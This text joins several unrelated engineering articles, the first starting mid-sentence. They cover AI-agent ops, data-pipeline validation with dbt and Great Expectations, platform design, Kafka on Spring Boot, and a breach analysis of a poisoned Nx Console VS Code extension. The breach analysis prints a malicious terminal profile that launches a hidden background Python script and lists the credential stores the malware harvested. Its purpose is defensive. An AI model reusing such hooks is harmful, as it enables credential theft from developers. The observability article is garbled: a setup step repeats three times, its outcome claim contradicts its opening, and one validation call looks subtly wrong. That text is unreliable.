thousands of calls in one of our early runs before we noticed. Default to escalation when uncertain. A false-positive escalation costs you a page that turns out to be nothing. A false-negative auto-fix can mask a real problem for weeks. The costs aren't symmetric, so the default shouldn't be either. Validate against expected behavior. Write down what you expect each failure mode to do, then write an analyzer that checks the audit log against that spec. We open-sourced ours — it's about 250 lines of Python, no external dependencies. You can adapt it to any agent that produces structured audit logs. Tighten conversation turn limits. max_consecutive_auto_reply=3 is a sane starting point for production. The agent should do its job and then the conversation should end. Frameworks default to longer because they're optimized for conversational AI demos, not production ops. What's Still Missing This article would be marketing if we didn't include this section. Honest engineering means owning what isn't built yet. No Docker Scout MCP server exists yet. Security-aware container discovery — "find the most secure nginx tag," "show me CVEs in this image" — isn't possible through MCP today. The Docker Hub MCP server has 13 tools, but none of them surface vulnerability data. This is a real gap in the ecosystem. No incident memory or pattern recognition. Our agent treats every incident as fresh. A production system would learn that this container OOMs every Tuesday at 4 pm and recommend a permanent memory increase rather than reactively bumping it each time. We've left this as future work. Sample sizes are small. Our 6 post-fix incidents prove the expected behavior is reproducible across the four scenarios. They don't prove reliability under production load, traffic spikes, or adversarial conditions. We'd need 100x more data and load testing to make those claims. MTTR is unmeasured. AutoGen records all decision-chain timestamps within microseconds of each other, so the per-incident duration data we collected isn't usable as a real mean-time-to-recovery metric. Capturing real MTTR would require external timing instrumentation around the agent. Gateway and tools are colocated. Our MCP server bundles the security pipeline (HMAC, rate limiting, audit) with the tool execution. In a true multi-tenant production setup, you'd separate these into distinct services so they can scale independently. Our current architecture is fine for a single team or environment; it would need refactoring before serving multiple agent populations. What This Means for AI Infrastructure The interesting part of building agentic infrastructure isn't getting the agent to act. It's getting it to not act when acting would make things worse. Docker MCP Gateway is one of the first production tools that takes this seriously — treating the infrastructure around the agent as the security layer, not the agent itself. The pattern we ended up with — a Gateway in front, scoped tools, decision boundaries written into the system prompt, structured audit logs — isn't novel. It's just what worked. We expect most production AI agents will end up looking similar, because this is what makes them debuggable when something goes wrong. The nine challenges we documented in the lab README are probably challenges you'll hit too. The analyzer script, the audit log format, and the validation patterns are all MIT-licensed in the companion repository. Use whatever's useful. This article was originally published on OpsCart.

The 3:00 AM Incident That Changed Everything It was a Tuesday morning when the alerts started firing. Our recommendation engine, the one that drives 30% of our revenue, had tanked. Accuracy dropped from 94% to 58% overnight. The data science team immediately blamed the model. They started tweaking hyperparameters, re-training on new data, and running diagnostics. Nothing worked. I got pulled into the war room at 3:00 AM. The first thing I asked wasn't "What's wrong with the model?" It was "What changed in the data pipeline?" Turns out, everything. A vendor had pushed a schema change upstream. A field that used to be required became optional. Null values started flowing through our pipeline. Our feature engineering code didn't handle nulls gracefully; it just propagated them downstream. By the time the data reached the model, 40% of our feature vectors were corrupted. The model wasn't broken. The data was. We spent six hours manually rolling back the schema change, re-running the pipeline, and restoring service. The incident report was brutal: "Lack of data validation caught a breaking change too late." That's when I realized we needed observability in our data pipeline, not just in our models. The Problem: Data Quality is Invisible Until It Breaks Here's the uncomfortable truth about data pipelines: they fail silently. Your ETL job completes successfully. Your Spark cluster finishes transformations. Your data warehouse loads without errors. Everything looks green in the monitoring dashboard. But the data itself? Garbage in, garbage out. There are three categories of failures that break AI models in production: Missing Values: A source system stops populating a field. Your pipeline doesn't validate it. The model gets NaN values it never saw during training. Predictions become random noise. Schema Changes: An upstream team adds a new column, renames an existing one, or changes data types. Your pipeline doesn't expect these changes. Either it crashes, or worse, it silently maps data to the wrong columns. Distribution Shifts: The statistical properties of your data change. A field that was always between 0 and 100 suddenly has values of 50,000. Your model's scaling assumptions break. Predictions become nonsensical. None of these show up in traditional infrastructure monitoring. Your CPU is fine. Memory is fine. Network is fine. But your data is on fire. The Solution: Observability at Every Layer I started building a three-layer observability framework using dbt, Great Expectations, and custom validation logic. The goal was simple: catch data quality issues before they reach the model. Layer 1: dbt Tests (The First Line of Defense) dbt tests are your cheapest, fastest way to catch obvious data quality issues. They run after every transformation and fail the entire pipeline if something's wrong. Here's what we implemented: SQL -- models/staging/stg_user_events.yml version: 2 models: - name: stg_user_events columns: - name: user_id tests: - not_null - unique - name: event_timestamp tests: - not_null - dbt_utils.expression_is_true: expression: "event_timestamp <= current_timestamp()" - name: event_value tests: - not_null - dbt_utils.expression_is_true: expression: "event_value > 0" These tests are simple but powerful. They catch: Missing required fields (not_null)Duplicate records (unique)Impossible values (event_timestamp in the future)Out-of-range values (negative prices) We run these tests on every dbt run. If any test fails, the pipeline stops. No data reaches the model. No silent corruption. The beauty of dbt tests is that they're version-controlled, documented, and part of your transformation code. When a schema change happens, you update the test, commit it, and everyone knows what changed. Layer 2: Great Expectations (The Statistical Validator) dbt tests catch structural issues. Great Expectations catches statistical anomalies, the subtle shifts that break models. Here's a real scenario: our user_age column had a distribution of 18-65 for two years. Then one day, we started getting ages of 200, 500, 1000. A data entry bug upstream. dbt tests wouldn't catch this because the values are technically valid integers. But Great Expectations would. Python # great_expectations/expectations/user_events_expectations.py from great_expectations.core.batch import RuntimeBatchRequest from great_expectations.data_context import DataContext context = DataContext() suite = context.create_expectation_suite( expectation_suite_name="user_events_suite", overwrite_existing=True ) validator = context.get_validator( batch_request=RuntimeBatchRequest( datasource_name="my_spark_datasource", data_connector_name="default_runtime_data_connector", data_asset_name="user_events" ), expectation_suite_name="user_events_suite" ) # Expect user_age to be between 18 and 120 validator.expect_column_values_to_be_between( column="user_age", min_value=18, max_value=120 ) # Expect event_value to have a mean between 50 and 200 validator.expect_column_mean_to_be_between( column="event_value", min_value=50, max_value=200 ) # Expect less than 5% missing values in critical columns validator.expect_column_values_to_not_be_null( column="user_id", mostly=0.95 ) # Expect the distribution to match historical patterns validator.expect_column_kl_divergence_from_list( column="event_type", partition_object={"event_type": ["click", "view", "purchase"]}, threshold=0.1 ) validator.save_expectation_suite(discard_failed_expectations=False) Great Expectations runs after dbt tests. It validates: Value ranges (age between 18 and 120)Statistical properties (mean event value between 50 and 200)Null rates (less than 5% missing in critical columns)Distribution shifts (event_type distribution matches historical patterns) If Great Expectations detects an anomaly, it alerts us. We investigate before the data reaches the model. Layer 3: Custom Validation (The Domain Expert) dbt and Great Expectations are generic. Your domain is specific. We added custom validation logic that understands our business. Python # pipelines/validation/custom_validators.py import pandas as pd from datetime import datetime, timedelta def validate_feature_engineering(df: pd.DataFrame) -> dict: """ Custom validation for features before they reach the model. Returns a dict of validation results. """ results = {} # Validate 1: Feature completeness # We need at least 95% of features populated feature_cols = [col for col in df.columns if col.startswith('feature_')] null_rate = df[feature_cols].isnull().sum().sum() / (len(df) * len(feature_cols)) results['feature_completeness'] = { 'passed': null_rate < 0.05, 'null_rate': null_rate, 'threshold': 0.05 } # Validate 2: Feature scaling # After normalization, features should be roughly between -3 and 3 (3 sigma) for col in feature_cols: max_val = df[col].max() min_val = df[col].min() results[f'{col}_scaling'] = { 'passed': max_val < 10 and min_val > -10, 'max': max_val, 'min': min_val } # Validate 3: Temporal consistency # Events should be recent (within last 30 days) if 'event_date' in df.columns: df['event_date'] = pd.to_datetime(df['event_date']) days_old = (datetime.now() - df['event_date'].max()).days results['temporal_freshness'] = { 'passed': days_old < 30, 'days_old': days_old, 'threshold_days': 30 } # Validate 4: Business logic # Revenue should always be positive if 'revenue' in df.columns: negative_revenue = (df['revenue'] < 0).sum() results['business_logic_revenue'] = { 'passed': negative_revenue == 0, 'negative_count': negative_revenue } return results def validate_and_alert(df: pd.DataFrame, validation_results: dict) -> bool: """ Check all validations and alert if any fail. Returns True if all pass, False otherwise. """ all_passed = True for check_name, check_result in validation_results.items(): if not check_result['passed']: all_passed = False print(f"ALERT: {check_name} failed") print(f"Details: {check_result}") # Send to monitoring system (Datadog, New Relic, etc.) # send_alert(check_name, check_result) return all_passed This custom validation runs after Great Expectations. It checks: Feature completeness (95% of features populated)Feature scaling (normalized features in the expected range)Temporal freshness (data is recent)Business logic (revenue is positive) If any check fails, we block the pipeline and alert the team. The Real-World Gotchas We Discovered Gotcha 1: Validation Overhead Running dbt tests, Great Expectations, and custom validation on every pipeline run adds latency. We went from 15-minute runs to 25-minute runs. The trade-off was worth it (catching one data quality issue saved us more time than we lost), but you need to plan for it. Gotcha 2: False Positives Great Expectations' distribution shift detection is sensitive. Legitimate business changes (a marketing campaign causing a spike in user_age distribution) triggered false alerts. We had to tune thresholds carefully and add context to alerts. Gotcha 3: Schema Changes Are Sneaky A vendor added a new column to an upstream table. Our pipeline didn't break; it just ignored the new column. But the data science team expected it. We added schema validation to catch new columns and alert us. Gotcha 4: Null Handling Varies Python treats null as None. SQL treats it as NULL. Spark treats it as null. When data flows between systems, nulls get lost or misinterpreted. We had to standardize null handling across the entire pipeline. The Framework: A Decision Matrix Here's how we decide which validation layer to use: Issue TypeCaught ByExampleActionMissing required fielddbt testsuser_id is nullFail pipeline immediatelyDuplicate recordsdbt testsSame user_id appears twiceFail pipeline immediatelyImpossible valuesdbt testsevent_timestamp in futureFail pipeline immediatelyOut-of-range valuesGreat Expectationsage > 150Alert, investigate, fail if severeDistribution shiftGreat Expectationsevent_value mean changes 50%Alert, investigate, continue if acceptableBusiness logic violationCustom validationrevenue is negativeAlert, investigate, failSchema changeCustom validationNew column added upstreamAlert, investigate, update tests The Results: From Chaos to Confidence After implementing this three-layer framework: Incident reduction: We went from 2-3 data quality incidents per month to 0 in six months.Time to resolution: When issues do occur, we catch them within minutes instead of hours.Model stability: Model accuracy stopped fluctuating. It's now consistently 93-95%.Team confidence: Data scientists trust the data. Engineers trust the pipeline. The best part? We caught the schema change incident before it happened. Great Expectations detected the distribution shift, we investigated, found the upstream change, and coordinated with the vendor team before any data reached production. Getting Started: The Minimal Viable Observability You don't need to implement everything at once. Start here: Week 1: Add dbt tests for not_null and unique on critical columns.Week 1: Add dbt tests for not_null and unique on critical columns.Week 1: Add dbt tests for not_null and unique on critical columns.Week 4: Set up alerting so you're notified when validations fail. That's it. You now have observability in your data pipeline. Conclusion: Observability Saves Models Your AI model isn't failing because it's bad. It's failing because the data feeding it is bad. And you won't know the data is bad until you look. The best models in the world can't save you from garbage data. But good observability can. dbt tests, Great Expectations, and custom validation aren't fun. They don't make it into conference talks. But they'll save your production system at 3:00 AM. Start small. Test early. Validate often.

Most infrastructure teams have a moment where someone says “we should build a platform.” The motivation is real: teams are duplicating work, the current setup is hard to use consistently, and a more structured approach would help. A few months later, the platform is a Terraform module collection, a GitLab CI template, a shared repository of scripts, and a README that several people have tried to keep current. That is a useful thing. It is not a platform. The distinction is worth being clear about, not to dismiss the work, but because the word “platform” creates expectations. When internal teams hear “we have a platform,” they assume stability, a usable interface, a versioning model, and some mechanism for raising problems when things break. A toolchain with documentation does not deliver those things by default. What Makes Something a Platform A platform is defined by its contract, not its technology. The contract describes what the consumer can expect: what they call, what parameters they provide, what outputs they receive, and what stability guarantees apply to that interface. A Terraform module with a published interface is closer to a platform primitive than a pipeline that provisions the same resources through environment variables, undocumented flags, and positional arguments. The module has a contract. The pipeline has a process. The contract does not have to be formal. It needs three things. A stable surface. Consumers should be able to call the same interface next month and receive the same type of result. Internal changes to how it works do not break consumers.A versioning model. When the interface changes, that change is communicated, and consumers are not silently broken. A git tag is enough to start with. Semantic versioning is better.A feedback path. Consumers can report when the contract is violated or the interface does not behave as documented. Someone is responsible for responding. A Terraform module with these three properties is a platform primitive. A set of modules with a shared versioning model, a stable registry entry, and a team responsible for maintaining the contract is starting to look like a platform. What Teams Actually Experience The gap between a toolchain and a platform shows up in how teams actually use it. With a toolchain, onboarding a new team means pointing them at the repository and telling them to read the README. Anything not in the README requires asking someone who has been around for a while. Changes to the toolchain break existing consumers silently because there is no versioning model. The team that maintains the toolchain treats every consumer as having kept up with the latest state of the repository. With a platform, onboarding means pointing teams at interface documentation with a working example. Changes go through a version increment. Consuming teams that pin to a version are not broken by changes they did not ask for. Plain Text # Consuming a module with a pinned version module "vm" { source = "registry.example.com/hybridops/vm/proxmox" version = "~> 2.1" name = "web-01" cores = 2 memory = 4096 } This looks like a small detail. For teams consuming infrastructure modules across a growing estate, it is the difference between a managed dependency and a shared folder everyone is afraid to touch. When a Toolchain Is the Right Call Not every infrastructure system needs to be a platform. A toolchain is appropriate when the team is small and holds the full mental model, the surface area is limited, and the rate of change is low enough that everyone stays current without a formal versioning model. When those conditions hold, the overhead of maintaining a platform contract is not justified. The problem is not having a toolchain. The problem is calling it a platform when it is not, and then finding that the expectations it created are not being met. Teams told they have a stable platform, then hit with a broken workflow from an unannounced change, lose confidence quickly. That confidence is hard to rebuild. HybridOps has been working in this space: publishing Terraform modules to a registry, versioning releases, and treating module interfaces as contracts. It is not a finished platform. It is a direction, and being explicit about that direction changes how the work gets done. A Simple Test If a consuming team pins to the current version of your toolchain today, will it still work in three months without any changes on their side? If you cannot answer yes with confidence, you have a toolchain, not a platform. Both are useful. Only one creates the kind of trust that makes a growing engineering organisation move faster rather than slower. Knowing which one you have is the first step toward building the right one.

In a microservices system, that tight coupling turns a small hiccup into a cascading slowdown. Thread pools fill, retries amplify traffic, and suddenly your simple request is blocked on half the fleet. My executive summary: asynchronous messaging with Kafka helps systems keep moving when individual components inevitably slow down or fail. It does this by decoupling producers from consumers, absorbing traffic spikes, and allowing services to evolve without tying their availability directly to one another. Code Patterns in Spring Boot With Kafka Spring for Apache Kafka gives me two primitives that feel pleasantly old Spring KafkaTemplate for sending and @KafkaListener for receiving. That template/listener model is intentionally similar to other Spring integration tech, which keeps application code focused on domain logic instead of raw client plumbing. Below is a compact (but production-shaped) pattern: externalized config via @ConfigurationProperties, a service port for publishing, a REST command endpoint, a consumer with a real error strategy (DLT), and a REST error advice. Java // === Messaging config (externalized, type-safe) === @ConfigurationProperties(prefix = "messaging.orders") @Validated record OrdersMessagingProps( @NotBlank String topic, @NotBlank String dltTopic ) {} // === DTO (event contract) === public record OrderCreatedEvent(UUID orderId, UUID userId, BigDecimal total, Instant createdAt) {} // === Service port (keeps domain testable, Kafka swappable) === public interface OrderEventPublisher { void publishOrderCreated(OrderCreatedEvent event); } // === Adapter: Kafka producer === @Component class KafkaOrderEventPublisher implements OrderEventPublisher { private final KafkaTemplate<String, OrderCreatedEvent> template; private final OrdersMessagingProps props; KafkaOrderEventPublisher(KafkaTemplate<String, OrderCreatedEvent> template, OrdersMessagingProps props) { this.template = template; this.props = props; } @Override public void publishOrderCreated(OrderCreatedEvent event) { // Keying by orderId keeps per-order ordering and drives partitioning decisions. template.send(props.topic(), event.orderId().toString(), event); } } // === REST command API (synchronous edge, async core) === @RestController @RequestMapping("/v1/orders") class OrdersController { private final OrderService orderService; // domain port OrdersController(OrderService orderService) { this.orderService = orderService; } @PostMapping public ResponseEntity<Map<String, Object>> create(@Valid @RequestBody CreateOrderRequest req) { UUID orderId = orderService.create(req.userId(), req.total()); // persists + publishes event return ResponseEntity.accepted().body(Map.of("orderId", orderId, "status", "ACCEPTED")); } record CreateOrderRequest(@NotNull UUID userId, @NotNull @Positive BigDecimal total) {} } // === Domain service port (implementation can use outbox, transactions, etc.) === public interface OrderService { UUID create(UUID userId, BigDecimal total); } // === Consumer: downstream service reacts to events === @Component class BillingListener { @KafkaListener(topics = "${messaging.orders.topic}", groupId = "${spring.kafka.consumer.group-id}") void onOrderCreated(OrderCreatedEvent event) { // Idempotency belongs here: process-by-key + store processed eventId/orderId to avoid duplicates. // Do work (charge card, create invoice, etc.) } } // === Kafka consumer error handling: retries + DLT === @Configuration class KafkaErrorHandlingConfig { @Bean DefaultErrorHandler defaultErrorHandler(KafkaTemplate<Object, Object> template, OrdersMessagingProps props) { var recoverer = new DeadLetterPublishingRecoverer(template, (rec, ex) -> new TopicPartition(props.dltTopic(), rec.partition())); // Backoff and retry policy are configurable; keep it finite to avoid poison-pill loops. return new DefaultErrorHandler(recoverer, new FixedBackOff(1000L, 3)); } } // === REST error handling (ProblemDetail) === @RestControllerAdvice class ApiErrors { @ExceptionHandler(IllegalArgumentException.class) @ResponseStatus(HttpStatus.BAD_REQUEST) ProblemDetail badRequest(IllegalArgumentException ex) { var pd = ProblemDetail.forStatusAndDetail(HttpStatus.BAD_REQUEST, ex.getMessage()); pd.setTitle("Invalid request"); return pd; } } A few been-burned-before notes on the code above. Spring Kafka’s reference docs are explicit that KafkaTemplate is the convenience wrapper for producing, and DefaultErrorHandler + DeadLetterPublishingRecoverer is a first-class way to route failed records to dead-letter topics after retries. If we want non-blocking retries, Spring Kafka also provides @RetryableTopic, which orchestrates retry topics and a DLT automatically useful when transient failures are common and you want predictable retry delay semantics. Containers and Local Dev With Docker Compose When I’m chasing down event flow bugs, I like local environments that feel like the old days: one command, deterministic startup order, and no mystery dependencies. Docker Compose is still the quickest way to stand up Kafka alongside your services, and Confluent publishes straightforward Docker-based tutorials and compose examples for running Kafka locally. For the service image itself, multi-stage builds are the modern classic compile in a builder stage, and copy the artifact into a slimmer runtime stage. Docker documents multi-stage builds as a way to reduce the final image contents and keep build dependencies out of production. Dockerfile # Multi-stage Dockerfile for a Spring Boot service (orders-service) FROM eclipse-temurin:21-jdk AS build WORKDIR /workspace COPY mvnw pom.xml ./ COPY .mvn .mvn RUN ./mvnw -q -DskipTests dependency:go-offline COPY src src RUN ./mvnw -q -DskipTests package FROM eclipse-temurin:21-jre WORKDIR /app COPY --from=build /workspace/target/*.jar app.jar EXPOSE 8080 ENTRYPOINT ["java","-jar","/app/app.jar"] And here’s a Compose file that wires up Kafka and Schema Registry, plus an example Spring Boot service. The exact image choices are illustrative. Your production choices are unspecified and should reflect your standards and security posture. YAML # compose.yaml (local/dev) services: zookeeper: image: confluentinc/cp-zookeeper:7.6.0 environment: ZOOKEEPER_CLIENT_PORT: 2181 kafka: image: confluentinc/cp-kafka:7.6.0 depends_on: [zookeeper] ports: ["9092:9092"] environment: KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:9092 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 schema-registry: image: confluentinc/cp-schema-registry:7.6.0 depends_on: [kafka] ports: ["8081:8081"] environment: SCHEMA_REGISTRY_HOST_NAME: schema-registry SCHEMA_REGISTRY_KAFKASTORE_BOOTSTRAP_SERVERS: PLAINTEXT://kafka:9092 orders: build: ./orders-service depends_on: [kafka] ports: ["8080:8080"] environment: SPRING_KAFKA_BOOTSTRAP_SERVERS: kafka:9092 MESSAGING_ORDERS_TOPIC: orders.events MESSAGING_ORDERS_DLTTOPIC: orders.events.dlt SCHEMA_REGISTRY_URL: http://schema-registry:8081 Deploying on Kubernetes or AWS On AWS, the Kafka decision is usually managed or self-managed. If you choose Amazon MSK, the cluster lives in your VPC, pick subnets across distinct Availability Zones, and connect clients using the cluster’s bootstrap brokers. That’s the networking baseline, and it’s not optional. MSK is VPC-first by design. For authentication/authorization, MSK supports IAM access control. AWS documents the client configuration for IAM mechanisms. In EKS, I typically pair MSK IAM with IRSA so pods can obtain AWS credentials the AWS way, while ECS services would use task roles instead. Both patterns are documented by AWS, and your choice here is unspecified. Kubernetes service discovery is usually the easy part. Services and Pods get DNS names so workloads can call each other by name rather than IP. Kafka itself is reached via bootstrap broker endpoints or via internal Services, but either way, you want the strings in externalized config, not hardcoded. Here’s a minimal Kubernetes Deployment/Service for a Kafka client service. Values like region, account IDs, and MSK endpoints are unspecified placeholders. YAML apiVersion: apps/v1 kind: Deployment metadata: name: orders namespace: apps spec: replicas: 2 selector: matchLabels: { app: orders } template: metadata: labels: { app: orders } spec: serviceAccountName: orders-sa # IRSA-bound (role ARN unspecified) containers: - name: orders image: <UNSPECIFIED_AWS_ACCOUNT_ID>.dkr.ecr.<UNSPECIFIED_REGION>.amazonaws.com/orders:<TAG> ports: [{ containerPort: 8080 }] env: - name: SPRING_KAFKA_BOOTSTRAP_SERVERS value: "<UNSPECIFIED_MSK_BOOTSTRAP_BROKERS>" - name: MESSAGING_ORDERS_TOPIC value: "orders.events" - name: MESSAGING_ORDERS_DLTTOPIC value: "orders.events.dlt" readinessProbe: httpGet: { path: /actuator/health/readiness, port: 8080 } initialDelaySeconds: 10 --- apiVersion: v1 kind: Service metadata: name: orders namespace: apps spec: selector: { app: orders } ports: - port: 80 targetPort: 8080 Operationally, MSK exposes metrics into CloudWatch (AWS/Kafka), and broker logs can be delivered to CloudWatch Logs (or S3/Firehose). That combination gives you the classic visibility loop: throughput, lag, under-replicated partitions, and error logs without running your own monitoring plane. For distributed tracing in async flows, OpenTelemetry is my default vocabulary now. Spring Boot supports OpenTelemetry export via OTLP, and OpenTelemetry defines Kafka semantic conventions so your producer/consumer spans and attributes stay consistent across tools. CI/CD and the Hard-Earned Field Notes For CI/CD, I keep it boring: build once, push an immutable image, deploy via a declarative mechanism. AWS Prescriptive Guidance provides a clear GitHub Actions pattern for building Docker images and pushing to Amazon ECR, which is a solid baseline when your region/account is unspecified until configured. YAML # .github/workflows/orders.yml name: orders on: push: branches: ["main"] jobs: build_push_deploy: runs-on: ubuntu-latest permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 - uses: actions/setup-java@v4 with: distribution: temurin java-version: "21" - name: Build & test run: ./mvnw -q test package - name: Configure AWS credentials (OIDC) uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::<UNSPECIFIED_AWS_ACCOUNT_ID>:role/<UNSPECIFIED_GHA_ROLE> aws-region: <UNSPECIFIED_REGION> - name: Login to ECR run: | aws ecr get-login-password --region <UNSPECIFIED_REGION> \ | docker login --username AWS --password-stdin <UNSPECIFIED_AWS_ACCOUNT_ID>.dkr.ecr.<UNSPECIFIED_REGION>.amazonaws.com - name: Build & push image run: | IMAGE=<UNSPECIFIED_AWS_ACCOUNT_ID>.dkr.ecr.<UNSPECIFIED_REGION>.amazonaws.com/orders:${{ github.sha } docker build -t $IMAGE ./orders-service docker push $IMAGE - name: Deploy to EKS (example) run: | aws eks update-kubeconfig --name <UNSPECIFIED_EKS_CLUSTER> --region <UNSPECIFIED_REGION> kubectl -n apps set image deploy/orders orders=$IMAGE Now, the part I wish someone had handed me in 2016: Kafka gives you strong tools, but it does not remove distributed-systems truths. You still need safeguards on the consumer side: idempotent processing, disciplined schema management, and clearly defined retry and dead-letter topic behavior. Kafka’s documentation is careful about the limits of “exactly once” guarantees. Idempotent producers and transactions can strengthen delivery semantics, but achieving true end-to-end exactly-once behavior, especially when external side effects are involved, still depends on deliberate system design. For schema governance, Kafka itself doesn’t ship a schema registry, but acknowledges third-party registries; in practice, Confluent Schema Registry and Apicurio Registry are common choices. Both store schemas out-of-band, so messages carry only a schema identifier, and both support evolvable contracts across Avro/JSON Schema/Protobuf depending on your ecosystem. Conclusion and Best Practices If you take one lesson from my legacy brain into modern event-driven systems, let it be this: asynchrony is a reliability feature, not a performance trick. Kafka’s durable log and consumer group model decouples uptime and absorbs spikes, but you only get the real benefit when you treat schemas as contracts, consumers as idempotent processors, and failure handling as first-class application behavior. On AWS, the operational baseline is non-negotiable. MSK lives in your VPC across AZ subnets, clients connect via bootstrap brokers, IAM auth is configured explicitly, and observability lives in CloudWatch. Do those fundamentals early, and Kafka stops feeling like a mysterious black box and starts feeling like the dependable workhorse it was built to be.

Enterprise perimeter defenses are fundamentally built on an obsolete assumption that the developer’s workstation is a secure, trusted anchor point. The massive security breach executed by the threat group TeamPCP, resulting in the exfiltration of 3,800 internal GitHub source code repositories, completely shattered this illusion. This was not a standalone exploit. It was a multi-vector convergence where vulnerabilities in the Node/NPM ecosystem, the systemic ungoverned architecture of the Visual Studio Code Marketplace, and the tactical “fog of war” caused by a period of historic GitHub infrastructure instability came together to create the perfect attack. Phase 1: The Root Exploitation (Node/NPM and the TanStack Supply Chain Pivot) The kill chain did not begin at GitHub; it originated deep within the modern JavaScript developer tool-chain. TeamPCP executed a localized supply chain compromise targeting upstream open-source utilities, specifically targeting contributors to TanStack npm packages (a widely relied-upon suite for state management and routing). [TanStack NPM Compromise] -> [Stolen ‘gh’ CLI Tokens] -> [Nx Console Pipeline Hijack (No Multi-Admin Approval)] -> [Malicious Extension Version 18.95.0 Published] By injecting malicious code into these highly trusted downstream dependencies, the attackers performed targeted local credential harvesting. Their primary target was not production application code, but the development environments of the maintainers themselves. The exploit successfully extracted long-lived GitHub CLI (`gh`) authentication tokens from a legitimate core developer who maintained both TanStack and the Nx Console ecosystem. Because these developer access tokens lacked granular scoping restrictions, they provided direct administrative write access to the main release pipelines of secondary repositories. Phase 2: VS Code Extension Poisoning (The Nx Console Triage (CVE-2026–48027)) Armed with the stolen gh tokens, TeamPCP bypassed standard perimeter security by pivoting to the Visual Studio Marketplace. On May 18, version 18.95.0 of Nx Console (a heavily utilized Monorepo orchestration extension with over 2.2 million installs) was maliciously built and uploaded. The deployment revealed two fatal flaws within modern developer workflows, 1. The Single-Factor Release Pipeline The malicious version was uploaded directly to both the Visual Studio Marketplace and the open-source OpenVSX registry. Because the Nx Console publishing architecture lacked a “two-admin manual validation mandate” for automated releases, the publishing pipeline accepted the stolen developer token at face value without triggering a secondary verification gate. 2. The “Silent Killer”: Marketplace Metrics vs. Background Sync Microsoft’s public marketplace logs initially registered a negligible 28 manual downloads before the package was identified and yanked 18 minutes later. However, Nx’s internal telemetry revealed that ~6,000 extension activations occurred simultaneously. This massive discrepancy highlights the danger of VS Code’s background auto-update synchronization. Thousands of developer environments pulled down, unzipped, and executed the malicious version automatically while the developers’ IDEs were running in the background. JSON // Example of the target parameters within compromised developer workspaces { "extensions.autoUpdate": true, // The default vulnerability exploited by TeamPCP "terminal.integrated.profiles.osx": { "malicious-hook": { "path": "/bin/bash", "args": ["-c", "python3 ~/.local/share/kitty/cat.py &"] } } } The Node Execution Layer Upon extension activation, the poisoned payload immediately dropped an obfuscated Node.js post-install hook. Operating completely within user space to evade basic Endpoint Detection and Response (EDR) behavioral hooks, it set an environmental marker (`__DAEMONIZED=1`) and spawned a background Python process (`cat.py`). The malware systemically scanned local paths for, Infrastructure configuration: Plaintext HashiCorp Vault tokens (`~/.vault-token`), local Kubernetes kubeconfig files, and AWS/Azure IAM metadata endpoint hashes.Ecosystem identity: Plaintext .npmrc registry tokens and active GitHub tokens (`ghp_`, gho_, ghs_).Active memory subsystems: Contents of 1Password vaults via the op CLI by hijacking active, unlocked terminal sessions. Phase 3: The Climax (The Internal GitHub Breach) The payload achieved its ultimate goal when an internal GitHub software engineer, who utilized Nx Console for local workflow management, had their workstation pull down the background update. The malware executed on the engineer’s local machine, scraped their active internal enterprise session tokens, and exfiltrated them to a remote command-and-control (C2) server. TeamPCP then used these highly privileged internal access credentials to bypass GitHub’s corporate identity perimeters entirely. Because internal repository boundaries operate on flat network access structures once an authenticated developer endpoint is cleared, the threat actors systematically cloned and exfiltrated 3,800 proprietary internal GitHub source code repositories before the endpoint could be isolated. Phase 4: The Tactical Fog of War (GitHub’s Infrastructure Instability) The velocity and stealth of this attack were significantly aided by an ongoing reliability crisis within GitHub’s core infrastructure. During the 12-month window surrounding the breach, GitHub recorded a massive spike in service degradation. Total tracked incidents: 257 distinct technical incidents.Major outages: 48 major service shutdowns, totaling 112 hours and 18 minutes of total downtime.Primary failure vector: GitHub Actions experienced 57 outages, three times the incidence rate of core Git storage operations.On October 29: Outage in compute dependency (Microsoft Azure). 90% error rate across Codespaces/ Actions affected Telemetry gaps, security monitoring systems failed to track cross-border API token replication.On February 2: Configuration failure in user settings caching, cascading failures in the Git HTTPS proxy affected High volume of synchronous cache writes generated a deluge of network errors, masking anomalous Git clone calls.On February 12: Authorization claim changes in core networking dependencies, 90% Codespace provisioning failure affected Security alerts failed to populate due to misclassified severity ratings, delaying incident detection by hours. The Alert Fatigue Vulnerability This constant infrastructural noise created an ideal tactical environment for the attackers. SecOps and DevSecOps teams were caught in a continuous state of alert fatigue, dealing with broken GitHub Actions pipelines, Elasticsearch cluster degradation, and database timeouts. When TeamPCP’s automated scripts began running rapid API queries and pulling massive volumes of repository data using the compromised engineer’s token, the unusual spikes in data transfer blended into the background noise of an infrastructure already struggling with systemic capacity and networking failures. Hard Takeaways: How Developers Must Harden Their Environments If your environment was active or using automated tools during this period, you must shift your development machine from an implied trust zone to a completely zero-trust environment. 1. Kill IDE Auto-Updates Globally Never allow your IDE to pull unvetted code in the background. Explicitly configure your editor to require manual permission before updating any third-party extension. In VS Code’s global settings.json, enforce: Plain Text "extensions.autoUpdate": false, "extensions.autoCheckUpdates": false 2. Isolate Development Runtimes Stop running compilers, package managers, and complex IDE extensions directly on your bare-metal operating system. Utilize isolated, ephemeral development environments (e.g., containerized Dev containers or heavily scoped virtual environments) where local file-system access is completely decoupled from your master ~/.ssh/, ~/.aws/, or .npmrc configuration folders. 3. Implement Strict Token Volatility Eliminate long-lived personal access tokens (`ghp_`). Switch entirely to fine-grained personal access tokens configured with strict, single-repository scope constraints and a maximum 7-day expiration date. Explicitly configure your local password managers and authentication tools to require biological verification (e.g., TouchID/FaceID) or short timeout windows for every individual call executed via the terminal command line (`op signin timeout`).

